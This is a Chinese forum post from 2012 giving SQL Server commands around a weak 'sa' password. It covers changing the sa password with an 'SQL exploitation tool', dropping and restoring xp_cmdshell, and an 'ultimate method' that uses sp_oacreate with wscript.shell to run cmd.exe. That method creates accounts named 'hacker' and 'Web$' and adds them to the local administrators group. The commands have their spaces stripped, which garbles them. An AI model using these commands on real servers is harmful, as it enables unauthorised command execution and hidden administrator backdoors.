sqlserversa弱口令相关命令

[复制链接]
查看270 | 回复0 | 2012-4-1 19:19:08 | 显示全部楼层 |阅读模式
一.更改sa口令方法:

用sql综合利用工具连接后,执行命令:

execsp_passwordNULL,'新密码','sa'

(提示:慎用!)
 
二.简单修补sa弱口令.
方法1:查询分离器连接后执行:

ifexists(select*from

dbo.sysobjectswhereid=object_id(N'[dbo].[xp_cmdshell]')and

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
execsp_dropextendedprocN'[dbo].[xp_cmdshell]'
GO
然后按F5键命令执行完毕
方法2:查询分离器连接后

第一步执行:usemaster

第二步执行:sp_dropextendedproc'xp_cmdshell'

然后按F5键命令执行完毕


三.常见情况恢复执行xp_cmdshell.
1未能找到存储过程'master..xpcmdshell'.

恢复方法:查询分离器连接后,

createproceduresp_addextendedproc---1996/08/3020:13

@functnamenvarchar(517),/*(owner.)nameoffunctiontocall
*/

@dllnamevarchar(255)/*nameofDLLcontainingfunction*/

as

setimplicit_transactionsoff

if@@trancount>0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return(1)

end

dbccaddextendedproc(@functname,@dllname)

return(0)--sp_addextendedproc

GO

第一步执行:EXECsp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'declare@oint

第二步执行:sp_addextendedproc'xp_cmdshell','xpsql70.dll'

然后按F5键命令执行完毕
2无法装载DLLxpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块。)

恢复方法:查询分离器连接后,

第一步执行:sp_dropextendedproc"xp_cmdshell"

第二步执行:sp_addextendedproc'xp_cmdshell','xpsql70.dll'

然后按F5键命令执行完毕
3无法在库xpweb70.dll中找到函数xp_cmdshell。原因:127(找不到指定的程序。)

恢复方法:查询分离器连接后,

第一步执行:execsp_dropextendedproc'xp_cmdshell'

第二步执行:execsp_addextendedproc'xp_cmdshell','xpweb70.dll'

然后按F5键命令执行完毕
四.终极方法.

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分离器连接后,

2000servser系统:

declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe/cnetuserWebhacker/add'
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe/cnetlocalgroupadministratorsWeb/add'
xp或2003server系统:126错误!命令
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetuserWeb$hacker/add'
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetlocalgroupadministratorsWeb$/add'


5.C:\>DIRC:\

SQLServer阻止了对组件'xp_cmdshell'的过程'sys.xp_cmdshell'的访问,因为此组件已作为此服务器提权。
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则